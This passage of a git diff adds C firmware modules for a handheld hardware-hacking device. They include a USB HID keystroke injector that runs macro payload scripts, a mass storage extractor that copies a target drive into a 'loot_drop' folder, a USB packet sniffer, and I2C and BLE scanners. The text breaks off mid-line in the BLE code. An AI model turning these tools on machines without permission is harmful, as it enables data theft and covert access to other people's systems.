src/modules/mod_bitchat_mesh.c). + * + * Stub: full module surface (init/deinit) so the build links cleanly. + * against liblvgl.so. BLE mesh transport implementation pending. + */ +#include "h2_ui.h" +#include "log_manager.h" + +static lv_obj_t *bitchat_screen = NULL; + +void bitchat_init(lv_obj_t *parent) +{ + bitchat_screen = lv_obj_create(parent); + lv_obj_set_size(bitchat_screen, H2_LCD_WIDTH - 4, H2_LCD_HEIGHT - 4); + lv_obj_center(bitchat_screen); + + lv_obj_t *lbl = lv_label_create(bitchat_screen); + lv_label_set_text(lbl, "bitchat\n(stub)"); + lv_obj_center(lbl); + + LOG_INF("bitchat init"); +} + +void bitchat_deinit(void) +{ + if (bitchat_screen) { + lv_obj_del(bitchat_screen); + bitchat_screen = NULL; + } + LOG_INF("bitchat deinit"); +} diff --git a/modules/orebolt-deploy/deploy.c b/modules/orebolt-deploy/deploy.c new file mode 100755 index 0000000..3d92e30 --- /dev/null +++ b/modules/orebolt-deploy/deploy.c @@ -0,0 +1,88 @@ +/* + * deploy.c -- Flash Storage Management module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Flash storage manager. Shows storage stats via statvfs("/") and + * allows manual sync() via the PLAY button. + */ +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define BUF_SIZE 256 + +static void read_block_stats(char *buf, size_t len) { + struct statvfs vfs; + if (statvfs("/", &vfs) != 0) { + snprintf(buf, len, "statvfs failed"); + return; + } + unsigned long long total = (unsigned long long)vfs.f_blocks * vfs.f_frsize; + unsigned long long used = (unsigned long long)(vfs.f_blocks - vfs.f_bfree) * vfs.f_frsize; + unsigned long long avail = (unsigned long long)vfs.f_bavail * vfs.f_frsize; + int pct = (total > 0) ? (int)((used * 100) / total) : 0; + + snprintf(buf, len, + "Total: %llu MB\nUsed: %llu MB (%d%%)\nFree: %llu MB", + total / (1024 * 1024), used / (1024 * 1024), pct, avail / (1024 * 1024)); +} + +int main(void) { + init_h2_graphics_runtime("STORAGE SYNCHRONIZER"); + LOG_INF("deploy module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "FLASH STORAGE MANAGEMENT"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 15); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + lv_obj_t *card = lv_obj_create(scr); + lv_obj_set_size(card, 280, 140); + lv_obj_align(card, LV_ALIGN_CENTER, 0, 10); + + lv_obj_t *stats_lbl = lv_label_create(card); + lv_obj_set_width(stats_lbl, 260); + lv_obj_align(stats_lbl, LV_ALIGN_TOP_LEFT, 10, 8); + + char stats_buf[BUF_SIZE]; + read_block_stats(stats_buf, sizeof(stats_buf)); + lv_label_set_text(stats_lbl, stats_buf); + + lv_obj_t *status_lbl = lv_label_create(card); + lv_obj_align(status_lbl, LV_ALIGN_BOTTOM_LEFT, 10, 8); + lv_obj_set_style_text_color(status_lbl, COLOR_MUTED, LV_PART_MAIN); + lv_label_set_text(status_lbl, "[PLAY] Sync [BACK] Exit"); + + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + while (1) { + lv_timer_handler(); + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_PLAY && ev.value == 1) { + lv_label_set_text(status_lbl, "SYNCING..."); + lv_obj_set_style_text_color(status_lbl, COLOR_PRIMARY, LV_PART_MAIN); + lv_timer_handler(); + sync(); + read_block_stats(stats_buf, sizeof(stats_buf)); + lv_label_set_text(stats_lbl, stats_buf); + lv_label_set_text(status_lbl, "SYNC COMPLETE."); + lv_obj_set_style_text_color(status_lbl, COLOR_ACCENT, LV_PART_MAIN); + LOG_INF("manual sync triggered"); + } + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) break; + } + usleep(20000); + } + if (input_fd >= 0) close(input_fd); + LOG_INF("deploy module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-extract/extract.c b/modules/orebolt-extract/extract.c new file mode 100755 index 0000000..dc7afeb --- /dev/null +++ b/modules/orebolt-extract/extract.c @@ -0,0 +1,121 @@ +/* + * extract.c -- Mass Storage Extractor module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Mass storage extractor. Recursively copies /mnt/target_media to + * /data/loot_drop/extracted/. Skips symlinks, copies regular files + * in 4KB chunks. Displays file/dir/byte counts. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define SRC_PATH "/mnt/target_media" +#define DST_PATH "/data/loot_drop/extracted" +#define LINE_BUF 128 + +static int total_files; +static int total_dirs; +static long long total_bytes; + +static void copy_tree(const char *src, const char *dst) { + DIR *dir = opendir(src); + if (!dir) return; + + mkdir(dst, 0755); + struct dirent *ent; + while ((ent = readdir(dir)) != NULL) { + if (ent->d_name[0] == '.' && (ent->d_name[1] == '\0' || + (ent->d_name[1] == '.' && ent->d_name[2] == '\0'))) + continue; + + char src_path[512], dst_path[512]; + snprintf(src_path, sizeof(src_path), "%s/%s", src, ent->d_name); + snprintf(dst_path, sizeof(dst_path), "%s/%s", dst, ent->d_name); + + struct stat st; + if (lstat(src_path, &st) < 0) continue; + if (S_ISLNK(st.st_mode)) continue; + + if (S_ISDIR(st.st_mode)) { + total_dirs++; + copy_tree(src_path, dst_path); + } else if (S_ISREG(st.st_mode)) { + FILE *in = fopen(src_path, "rb"); + FILE *out = fopen(dst_path, "wb"); + if (!in || !out) { + if (in) fclose(in); + if (out) fclose(out); + continue; + } + char buf[4096]; + size_t n; + while ((n = fread(buf, 1, sizeof(buf), in)) > 0) { + fwrite(buf, 1, n, out); + total_bytes += n; + } + fclose(in); + fclose(out); + total_files++; + } + } + closedir(dir); +} + +int main(void) { + init_h2_graphics_runtime("DATA ASSET EXTRACTION"); + LOG_INF("extract module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "MASS STORAGE EXTRACTOR"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 15); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + lv_obj_t *list = lv_list_create(scr); + lv_obj_set_size(list, 280, 160); + lv_obj_align(list, LV_ALIGN_CENTER, 0, 15); + + struct stat st; + if (stat(SRC_PATH, &st) != 0 || !S_ISDIR(st.st_mode)) { + lv_list_add_text(list, "[IDLE] No target mounted at /mnt/target_media"); + } else { + mkdir(DST_PATH, 0755); + lv_list_add_text(list, "[ACTIVE] Copying target media..."); + lv_timer_handler(); + total_files = 0; total_dirs = 0; total_bytes = 0; + copy_tree(SRC_PATH, DST_PATH); + sync(); + + char buf[LINE_BUF]; + snprintf(buf, sizeof(buf), "Files: %d Dirs: %d", total_files, total_dirs); + lv_list_add_text(list, buf); + snprintf(buf, sizeof(buf), "Bytes copied: %lld", total_bytes); + lv_obj_t *entry = lv_list_add_text(list, buf); + lv_obj_set_style_text_color(entry, COLOR_ACCENT, LV_PART_MAIN); + lv_list_add_text(list, "[DONE] Assets in /data/loot_drop/extracted/"); + LOG_INF("extraction complete: %d files, %d dirs, %lld bytes", total_files, total_dirs, total_bytes); + } + + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + while (1) { + lv_timer_handler(); + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) break; + } + usleep(20000); + } + if (input_fd >= 0) close(input_fd); + LOG_INF("extract module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-glitch/glitch.c b/modules/orebolt-glitch/glitch.c new file mode 100755 index 0000000..92367c7 --- /dev/null +++ b/modules/orebolt-glitch/glitch.c @@ -0,0 +1,36 @@ +/* + * glitch.c -- Hardware glitch injector (stub) + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Hardware glitch injector (X1000E GPIO). + * + * Stub: full module surface (init/deinit) so the build links cleanly. + * against liblvgl.so. Hardware-dependent implementation pending. + */ +#include "h2_ui.h" +#include "log_manager.h" + +static lv_obj_t *glitch_screen = NULL; + +void glitch_init(lv_obj_t *parent) +{ + glitch_screen = lv_obj_create(parent); + lv_obj_set_size(glitch_screen, H2_LCD_WIDTH - 4, H2_LCD_HEIGHT - 4); + lv_obj_center(glitch_screen); + + lv_obj_t *lbl = lv_label_create(glitch_screen); + lv_label_set_text(lbl, "glitch\n(stub)"); + lv_obj_center(lbl); + + LOG_INF("glitch init"); +} + +void glitch_deinit(void) +{ + if (glitch_screen) { + lv_obj_del(glitch_screen); + glitch_screen = NULL; + } + LOG_INF("glitch deinit"); +} diff --git a/modules/orebolt-nettap/scalpel.c b/modules/orebolt-nettap/scalpel.c new file mode 100755 index 0000000..febe5dd --- /dev/null +++ b/modules/orebolt-nettap/scalpel.c @@ -0,0 +1,161 @@ +/* + * scalpel.c -- USB Virtual Network Tap (Nettap) module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * USB virtual network tap. Captures IP packets from usb0 via raw + * AF_PACKET socket, parses src/dst IPv4 addresses, displays them + * on an LVGL console, and coalesces writes to disk via the + * flash-safe timed logger. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define NUM_WINDOWS 5 +#define CONSOLE_MAX_LINES 20 + +const log_window_t window_durations[NUM_WINDOWS] = { + WINDOW_30S, WINDOW_1M, WINDOW_2M, WINDOW_5M, WINDOW_10M +}; +const char *window_labels[NUM_WINDOWS] = { + "30 SECONDS", "1 MINUTE", "2 MINUTES", "5 MINUTES", "10 MINUTES" +}; + +static lv_obj_t *console; +static timed_logger_t *logger; + +static void process_ip_packet(const uint8_t *pkt, ssize_t pkt_len) { + uint16_t ethertype = ((uint16_t)pkt[12] << 8) | pkt[13]; + if (ethertype != 0x0800) return; + if (pkt_len < 34) return; + + char display_row[64]; + snprintf(display_row, sizeof(display_row), + "IP: %d.%d.%d.%d -> %d.%d.%d.%d", + pkt[26], pkt[27], pkt[28], pkt[29], + pkt[30], pkt[31], pkt[32], pkt[33]); + + char log_row[128]; + snprintf(log_row, sizeof(log_row), + "[%ld] SIZE:%ld %d.%d.%d.%d->%d.%d.%d.%d\n", + (long)time(NULL), (long)pkt_len, + pkt[26], pkt[27], pkt[28], pkt[29], + pkt[30], pkt[31], pkt[32], pkt[33]); + + if (logger) timed_log_write(logger, log_row); + + lv_list_add_text(console, display_row); + static int line_count; + line_count++; + if (line_count > CONSOLE_MAX_LINES) { + lv_obj_clean(console); + line_count = 0; + } +} + +int main(void) { + init_h2_graphics_runtime("USB TAP MANAGER NODE"); + LOG_INF("nettap module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "USB VIRTUAL NETTAP"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 10); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + lv_obj_t *config_card = lv_obj_create(scr); + lv_obj_set_size(config_card, 290, 160); + lv_obj_align(config_card, LV_ALIGN_CENTER, 0, 15); + lv_obj_set_style_bg_color(config_card, lv_color_make(22, 28, 38), LV_PART_MAIN); + + lv_obj_t *cfg_lbl = lv_label_create(config_card); + lv_label_set_text(cfg_lbl, "SET DATA FLUSH TIME WINDOW:"); + lv_obj_align(cfg_lbl, LV_ALIGN_TOP_MID, 0, 10); + + lv_obj_t *window_lbl = lv_label_create(config_card); + lv_obj_align(window_lbl, LV_ALIGN_CENTER, 0, -5); + lv_obj_set_style_text_color(window_lbl, COLOR_ACCENT, LV_PART_MAIN); + + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + int sel = 1; + + while (1) { + lv_label_set_text(window_lbl, window_labels[sel]); + lv_timer_handler(); + if (input_fd < 0) { usleep(15000); continue; } + if (read(input_fd, &ev, sizeof(struct input_event)) <= 0) { usleep(15000); continue; } + + if (ev.type == EV_REL && ev.code == 0) { + if (ev.value > 0 && sel < NUM_WINDOWS - 1) sel++; + if (ev.value < 0 && sel > 0) sel--; + } + if (ev.type == EV_KEY && ev.value == 1 && ev.code == H2_KEY_PLAY) break; + usleep(15000); + } + + logger = timed_log_init("/data/loot_drop/tether_stream.log", window_durations[sel]); + lv_obj_del(config_card); + + console = lv_list_create(scr); + lv_obj_set_size(console, 300, 160); + lv_obj_align(console, LV_ALIGN_CENTER, 0, 15); + + int sysfd = open("/sys/class/net/usb0/operstate", O_WRONLY); + if (sysfd >= 0) { + (void)write(sysfd, "up", 2); + close(sysfd); + } + + int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (sock_raw >= 0) { + struct ifreq ifr; + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "usb0", IFNAMSIZ - 1); + if (ioctl(sock_raw, SIOCGIFINDEX, &ifr) >= 0) { + fcntl(sock_raw, F_SETFL, O_NONBLOCK); + lv_obj_t *l = lv_list_add_text(console, "NETTAP ACTIVE: Listening on usb0..."); + lv_obj_set_style_text_color(l, COLOR_ACCENT, LV_PART_MAIN); + LOG_INF("nettap listening on usb0, flush window: %s", window_labels[sel]); + } + } + + uint8_t pkt_buf[2048]; + + while (1) { + lv_timer_handler(); + + if (sock_raw >= 0) { + ssize_t pkt_len = recvfrom(sock_raw, pkt_buf, sizeof(pkt_buf), 0, NULL, NULL); + if (pkt_len > 0) process_ip_packet(pkt_buf, pkt_len); + } + + if (logger && (time(NULL) - logger->window_start >= logger->window_duration)) + timed_log_flush_to_media(logger); + + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) break; + } + usleep(5000); + } + + if (logger) timed_log_close(logger); + if (sock_raw >= 0) close(sock_raw); + if (input_fd >= 0) close(input_fd); + LOG_INF("nettap module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-noise/noise.c b/modules/orebolt-noise/noise.c new file mode 100755 index 0000000..dae8fde --- /dev/null +++ b/modules/orebolt-noise/noise.c @@ -0,0 +1,56 @@ +/* + * noise.c -- USB Hardware TRNG Stream module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * True random number generator. Generates true random 32-byte entropy + * blocks via getrandom(GRND_RANDOM) and pipes them to the host + * over CDC ACM serial (/dev/ttyGS0) at 100Hz. + */ +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +int main(void) { + init_h2_graphics_runtime("USB TRNG HARDWARE PIPE"); + LOG_INF("noise module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "USB HARDWARE TRNG STREAM"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 10); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + lv_obj_t *status = lv_label_create(scr); + lv_label_set_text(status, "Piping true entropy to host CDC serial...\nNode: /dev/ttyGS0"); + lv_obj_align(status, LV_ALIGN_CENTER, 0, 0); + + int serial_fd = open("/dev/ttyGS0", O_WRONLY | O_NOCTTY); + if (serial_fd < 0) LOG_WRN("cannot open /dev/ttyGS0"); + + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + uint8_t entropy_block[32]; + + while (1) { + lv_timer_handler(); + if (getrandom(entropy_block, sizeof(entropy_block), GRND_RANDOM) == sizeof(entropy_block)) { + if (serial_fd != -1) (void)write(serial_fd, entropy_block, sizeof(entropy_block)); + } + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) break; + } + usleep(10000); + } + if (serial_fd != -1) close(serial_fd); + if (input_fd >= 0) close(input_fd); + LOG_INF("noise module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-pauto/pauto.c b/modules/orebolt-pauto/pauto.c new file mode 100755 index 0000000..3db6399 --- /dev/null +++ b/modules/orebolt-pauto/pauto.c @@ -0,0 +1,218 @@ +/* + * pauto.c -- Payload Automation (HID Keystroke Injector) module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Payload Automation (HID keystroke injector). Scans /data/vault/payloads/ for .macro + * files, parses the OreBolt macro command language (DELAY, + * STRING, REM, modifier+key combos), and sends 8-byte USB + * HID reports via /dev/hidg0. Full USB HID keycode table + * for a-z, A-Z, 0-9, punctuation, F1-F12, and special keys. + */ +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define PAYLOAD_DIR "/data/vault/payloads" +#define HID_DEV "/dev/hidg0" +#define MAX_PAYLOADS 8 +#define LINE_BUF 256 +#define DELAY_US 12000 + +static char payload_names[MAX_PAYLOADS][64]; +static int payload_count; + +static void scan_payloads(void) { + DIR *dir = opendir(PAYLOAD_DIR); + struct dirent *ent; + payload_count = 0; + if (!dir) return; + while ((ent = readdir(dir)) != NULL && payload_count < MAX_PAYLOADS) { + if (ent->d_name[0] == '.') continue; + const char *dot = strrchr(ent->d_name, '.'); + if (!dot || strcmp(dot, ".macro") != 0) continue; + strncpy(payload_names[payload_count], ent->d_name, 63); + payload_names[payload_count][63] = '\0'; + payload_count++; + } + closedir(dir); +} + +static void send_hid_report(int hid_fd, uint8_t modifier, uint8_t keycode) { + uint8_t report[8] = {0}; + report[0] = modifier; + report[2] = keycode; + write(hid_fd, report, 8); + memset(report, 0, 8); + write(hid_fd, report, 8); + usleep(DELAY_US); +} + +static uint8_t ascii_to_keycode(char c, uint8_t *modifier) { + *modifier = 0; + if (c >= 'a' && c <= 'z') return (uint8_t)(0x04 + (c - 'a')); + if (c >= 'A' && c <= 'Z') { *modifier = 0x02; return (uint8_t)(0x04 + (c - 'A')); } + if (c >= '1' && c <= '9') return (uint8_t)(0x1e + (c - '1')); + if (c == '0') return 0x27; + if (c == ' ') return 0x2c; + if (c == '\n') return 0x28; + if (c == '-') return 0x2d; + if (c == '=') return 0x2e; + if (c == '[') return 0x2f; + if (c == ']') return 0x30; + if (c == '\\') return 0x31; + if (c == ';') return 0x33; + if (c == '\'') return 0x34; + if (c == '`') return 0x35; + if (c == ',') return 0x36; + if (c == '.') return 0x37; + if (c == '/') return 0x38; + if (c == '\t') return 0x2b; + return 0; +} + +static uint8_t lookup_modifier(const char *token) { + if (strcmp(token, "CTRL") == 0 || strcmp(token, "CONTROL") == 0) return 0x01; + if (strcmp(token, "SHIFT") == 0) return 0x02; + if (strcmp(token, "ALT") == 0) return 0x04; + if (strcmp(token, "GUI") == 0) return 0x08; + return 0; +} + +static uint8_t lookup_keycode(const char *token) { + if (strcmp(token, "ENTER") == 0 || strcmp(token, "RETURN") == 0) return 0x28; + if (strcmp(token, "SPACE") == 0) return 0x2c; + if (strcmp(token, "TAB") == 0) return 0x2b; + if (strcmp(token, "ESC") == 0 || strcmp(token, "ESCAPE") == 0) return 0x29; + if (strcmp(token, "BACKSPACE") == 0) return 0x2a; + if (strcmp(token, "DELETE") == 0 || strcmp(token, "DEL") == 0) return 0x4c; + if (strcmp(token, "F1") == 0) return 0x3a; + if (strcmp(token, "F2") == 0) return 0x3b; + if (strcmp(token, "F3") == 0) return 0x3c; + if (strcmp(token, "F4") == 0) return 0x3d; + if (strcmp(token, "F5") == 0) return 0x3e; + if (strcmp(token, "F6") == 0) return 0x3f; + if (strcmp(token, "F7") == 0) return 0x40; + if (strcmp(token, "F8") == 0) return 0x41; + if (strcmp(token, "F9") == 0) return 0x42; + if (strcmp(token, "F10") == 0) return 0x43; + if (strcmp(token, "F11") == 0) return 0x44; + if (strcmp(token, "F12") == 0) return 0x45; + if (token[0] != '\0' && token[1] == '\0') { + uint8_t mod; + uint8_t kc = ascii_to_keycode(token[0], &mod); + if (kc) return kc; + } + return 0; +} + +static void execute_payload(const char *filename) { + int hid_fd = open(HID_DEV, O_WRONLY); + if (hid_fd < 0) { LOG_ERR("cannot open %s", HID_DEV); return; } + + char path[128]; + snprintf(path, sizeof(path), "%s/%s", PAYLOAD_DIR, filename); + FILE *fp = fopen(path, "r"); + if (!fp) { close(hid_fd); return; } + + LOG_INF("executing payload: %s", filename); + char line[LINE_BUF]; + while (fgets(line, LINE_BUF, fp)) { + line[strcspn(line, "\r\n")] = '\0'; + if (strncmp(line, "DELAY ", 6) == 0) { + long ms = atol(line + 6); + if (ms < 0) ms = 0; + if (ms > 60000) ms = 60000; + usleep((useconds_t)(ms * 1000)); + continue; + } + if (strncmp(line, "STRING ", 7) == 0) { + const char *p = line + 7; + while (*p) { + uint8_t mod = 0, key = ascii_to_keycode(*p, &mod); + if (key) send_hid_report(hid_fd, mod, key); + p++; + } + continue; + } + if (strncmp(line, "REM ", 4) == 0 || strcmp(line, "REM") == 0) continue; + + char tokens[8][32]; + int ntok = 0; + char *p = line; + while (*p && ntok < 8) { + while (*p == ' ') p++; + if (!*p) break; + int ti = 0; + while (*p && *p != ' ' && ti < 31) tokens[ntok][ti++] = *p++; + tokens[ntok][ti] = '\0'; + ntok++; + } + if (ntok == 0) continue; + if (ntok == 1) { + uint8_t kc = lookup_keycode(tokens[0]); + if (kc) { send_hid_report(hid_fd, 0, kc); continue; } + } + uint8_t mods = 0; + for (int t = 0; t < ntok - 1; t++) mods |= lookup_modifier(tokens[t]); + uint8_t keycode = lookup_keycode(tokens[ntok - 1]); + if (mods || keycode) { send_hid_report(hid_fd, mods, keycode); continue; } + } + + fclose(fp); + close(hid_fd); + LOG_INF("payload complete: %s", filename); +} + +int main(void) { + init_h2_graphics_runtime("HID KEYSTROKE INJECTOR"); + LOG_INF("pauto module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "HID PAYLOAD INJECTOR"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 15); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + scan_payloads(); + LOG_INF("found %d .macro payloads", payload_count); + + lv_obj_t *list = lv_list_create(scr); + lv_obj_set_size(list, 280, 140); + lv_obj_align(list, LV_ALIGN_CENTER, 0, 15); + + if (payload_count == 0) { + lv_list_add_text(list, "No .macro files found in payload dir"); + } + int sel = 0; + for (int i = 0; i < payload_count; i++) { + lv_list_add_btn(list, LV_SYMBOL_FILE, payload_names[i]); + } + + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + while (1) { + lv_timer_handler(); + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_REL && ev.code == 0) { + if (ev.value > 0 && sel < payload_count - 1) sel++; + else if (ev.value < 0 && sel > 0) sel--; + } + if (ev.type == EV_KEY && ev.code == H2_KEY_PLAY && ev.value == 1 && payload_count > 0) { + execute_payload(payload_names[sel]); + } + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) break; + } + usleep(20000); + } + if (input_fd >= 0) close(input_fd); + LOG_INF("pauto module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-probe/probe.c b/modules/orebolt-probe/probe.c new file mode 100755 index 0000000..db16dc2 --- /dev/null +++ b/modules/orebolt-probe/probe.c @@ -0,0 +1,94 @@ +/* + * probe.c -- I2C Bus Hardware Scanner module + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * I2C bus scanner. Probes /dev/i2c-0 address space 0x03-0x77 + * using SMBus receive-byte probe. Displays responding devices + * in an LVGL list with green highlighting. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define I2C_DEV "/dev/i2c-0" +#define ADDR_START 0x03 +#define ADDR_END 0x77 +#define MAX_FOUND 16 + +static int i2c_fd = -1; + +static int try_probe_addr(uint8_t addr) { + if (ioctl(i2c_fd, I2C_SLAVE, addr) < 0) return 0; + unsigned char dummy; + return (read(i2c_fd, &dummy, 1) == 1); +} + +int main(void) { + init_h2_graphics_runtime("I2C CONTROLLER SCANNER"); + LOG_INF("probe module started"); + + lv_obj_t *scr = lv_scr_act(); + + lv_obj_t *title = lv_label_create(scr); + lv_label_set_text(title, "I2C BUS HARDWARE SCAN"); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 10); + lv_obj_set_style_text_color(title, COLOR_PRIMARY, LV_PART_MAIN); + + lv_obj_t *list = lv_list_create(scr); + lv_obj_set_size(list, 280, 160); + lv_obj_align(list, LV_ALIGN_CENTER, 0, 15); + + uint8_t found_addrs[MAX_FOUND]; + int found_count = 0; + + i2c_fd = open(I2C_DEV, O_RDWR); + if (i2c_fd < 0) { + lv_list_add_text(list, "ERROR: Cannot open /dev/i2c-0"); + LOG_ERR("cannot open %s", I2C_DEV); + } else { + lv_list_add_text(list, "Probing 0x03 - 0x77 ..."); + LOG_INF("scanning I2C bus 0x03-0x77"); + + for (int addr = ADDR_START; addr <= ADDR_END; addr++) { + if (try_probe_addr((uint8_t)addr) && found_count < MAX_FOUND) { + found_addrs[found_count++] = (uint8_t)addr; + } + } + + if (found_count == 0) { + lv_list_add_text(list, "No devices responded."); + } + char buf[64]; + for (int i = 0; i < found_count; i++) { + snprintf(buf, sizeof(buf), " [0x%02X] ACK", found_addrs[i]); + lv_obj_t *entry = lv_list_add_text(list, buf); + lv_obj_set_style_text_color(entry, COLOR_ACCENT, LV_PART_MAIN); + } + snprintf(buf, sizeof(buf), "Scan complete: %d device(s)", found_count); + lv_list_add_text(list, buf); + LOG_INF("I2C scan found %d device(s)", found_count); + close(i2c_fd); + i2c_fd = -1; + } + + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + while (1) { + lv_timer_handler(); + if (input_fd >= 0 && read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_KEY && ev.code == H2_KEY_BACK && ev.value == 1) break; + } + usleep(20000); + } + if (input_fd >= 0) close(input_fd); + LOG_INF("probe module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-proxalarm/bledsp.c b/modules/orebolt-proxalarm/bledsp.c new file mode 100755 index 0000000..9f1909a --- /dev/null +++ b/modules/orebolt-proxalarm/bledsp.c @@ -0,0 +1,427 @@ +/* + * bledsp.c -- Unified RF scanning + DSP hardware layer implementation + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * Manages BLE LE scanning via BlueZ HCI, applies a rolling-average + * RSSI filter, and maintains a unified device table. Also provides + * a WiFi RSSI poll stub (bledsp_poll_wifi) ready for future nl80211 + * integration. + * + * Unified RF scanning layer handling BLE advertisements and RSSI + * smoothing via MIPS DSP ASE intrinsics. Source-agnostic device table + * supports BLE, WiFi (stub), and simulation modes. + * + * Source modes: + * BLE -- Real BlueZ HCI LE scanning (default when hci0 available) + * WIFI -- Stub: bledsp_poll_wifi() is a no-op placeholder for + * future nl80211-based WiFi scanning + * SIM -- Automatic fallback when BLE HCI fails; generates + * synthetic device data for UI development/testing + * + * If the HCI socket cannot be opened (no BT hardware, or hci0 not + * up), the module automatically enters SIMULATION mode. + */ + +#include "bledsp.h" +#include "log_manager.h" + +#include +#include +#include +#include +#include + +/* BlueZ headers -- present when -lbluetooth is available */ +#include +#include +#include + +/* ------------------------------------------------------------------ */ +/* Internal state */ +/* ------------------------------------------------------------------ */ + +static bledsp_device_t dev_table[BLE_DSP_MAX_DEVICES]; +static int dev_count; /* number of slots ever used */ +static int sim_mode; /* 1 = simulation fallback */ +static int hci_fd = -1; /* HCI socket descriptor */ +static int8_t thresh_near = BLE_DSP_THRESH_NEAR; +static uint32_t last_poll_ms; +static bledsp_source_t active_source = BLE_SRC_BLE; + +/* ------------------------------------------------------------------ */ +/* Helpers */ +/* ------------------------------------------------------------------ */ + +static uint32_t mono_ms(void) +{ + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return (uint32_t)(ts.tv_sec * 1000U + ts.tv_nsec / 1000000U); +} + +/* Find a slot by MAC, or allocate a new one. Returns index or -1. */ +static int find_or_alloc(const uint8_t *mac) +{ + int i, oldest = -1; + uint32_t oldest_ts = UINT32_MAX; + + /* Search for existing MAC */ + for (i = 0; i < dev_count; i++) { + if (dev_table[i].active && memcmp(dev_table[i].mac, mac, 6) == 0) + return i; + } + + /* Allocate a free or oldest-inactive slot */ + for (i = 0; i < BLE_DSP_MAX_DEVICES; i++) { + if (!dev_table[i].active) { + if (dev_count <= i) dev_count = i + 1; + memset(&dev_table[i], 0, sizeof(bledsp_device_t)); + memcpy(dev_table[i].mac, mac, 6); + dev_table[i].source = BLE_SRC_BLE; + return i; + } + if (dev_table[i].last_seen_ms < oldest_ts) { + oldest_ts = dev_table[i].last_seen_ms; + oldest = i; + } + } + + /* Evict the stalest device */ + if (oldest >= 0) { + memset(&dev_table[oldest], 0, sizeof(bledsp_device_t)); + memcpy(dev_table[oldest].mac, mac, 6); + dev_table[oldest].source = BLE_SRC_BLE; + return oldest; + } + return -1; +} + +/* Simple rolling-average filter: keeps a window of BLE_DSP_RSSI_WINDOW + * samples using integer arithmetic. New sample pushes oldest out. */ +static int8_t smooth_rssi(int8_t old_smoothed, int8_t new_raw, int scan_count) +{ + /* Weighted blend: trust the smoothed value more as we see more samples. + * After BLE_DSP_RSSI_WINDOW samples, it's a pure equal-weight average. */ + int weight; + if (scan_count >= BLE_DSP_RSSI_WINDOW) + weight = BLE_DSP_RSSI_WINDOW; + else + weight = scan_count; + + /* (old * (w-1) + new) / w -- all in integers */ + return (int8_t)(((int)old_smoothed * (weight - 1) + 